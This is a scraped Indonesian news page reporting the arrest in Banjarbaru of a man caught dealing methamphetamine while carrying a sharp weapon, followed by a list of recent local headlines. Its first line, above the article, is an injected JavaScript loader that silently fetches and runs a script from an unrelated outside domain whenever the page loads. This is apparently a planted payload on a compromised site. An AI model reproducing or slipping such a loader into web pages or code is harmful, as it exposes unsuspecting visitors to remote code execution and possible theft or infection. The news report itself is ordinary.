(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Gagalkan Transaksi di Kemuning, Tiga Paket Sabu dan Sajam Disita Polisi


KANALKALIMANTAN.COM, BANJARBARU – Tengah malam seorang lelaki kedapatan bertransaksi narkoba di Jalan Pendidikan Masyarakat, Kelurahan Kemuning, Kota Banjarbaru.

Lelaki berinisial JI (30) asal Mentaos, Kecamatan Banjarbaru Utara, tertangkap tangan Unit Opsnal Reskrim Polsek Banjarbaru Utara yang sedang berpatroli pada Jumat (10/1/2025) lalu, sekitar pukul 23.30 Wita.

JI kedapatan membawa tiga paket narkotika jenis sabu untuk kemudian dijual kembali.

Peristiwa ini diungkap Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda, melalui Kapolsek Banjarbaru Utara Kompol Heru Setiawan, Selasa (14/1/2025) pagi.

Baca juga: Jadi ‘PR’ Baru Pemko Banjarbaru, Aturan Masuk ke Taman Van Der Pijl

“Bermula dari informasi masyarakat, dimana petugas kemudian melakukan penyelidikan hingga mendapati ciri-ciri pelaku,” ujar Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda melalui Kapolsek Banjarbaru Utara Kompol Heru Setiawan.

Saat melakukan pengintaian, polisi mendapati seseorang yang gerak gerik yang mencurigakan menggunakan sepeda motor Yamaha NMAX memasuki sebuah gang.

“Saat didekati, lelaki itu melakukan transaksi narkoba, petugas langsung bergerak menangkap pelaku,” ungkapnya.

Sementara pelaku yang tertangkap tangan sempat terkejut, kemudian mengambil senjata tajam dari pinggang sebelah kanannya. Dengan kesigapan petugas berhasil mengamankan senjata tajam tersebut.

Baca juga: Kecolongan Truk Besar ‘Bebas’ Masuk Dalam Kota, Dishub Banjarmasin Baru Akan Beraksi

Dari hasil penggeledahan yang dilakukan, petugas menemukan tiga paket narkotika jenis sabu dari JI.

“Untuk barang bukti yang disita diantaranya tiga paket sabu isi 0,08 gram, 0,02 gram, dan 0,38 gram, serta barang bukti lainnya,” sebut dia.

Adapun pelaku dan barang bukti saat ini telah diamankan di Mapolsek Banjarbaru Utara untuk melakukan pengembangan.

Pelaku dijerat dengan pasal 114 ayat (1) Sub Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika dengan ancaman hukuman paling lama 12 Tahun kurungan penjara. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.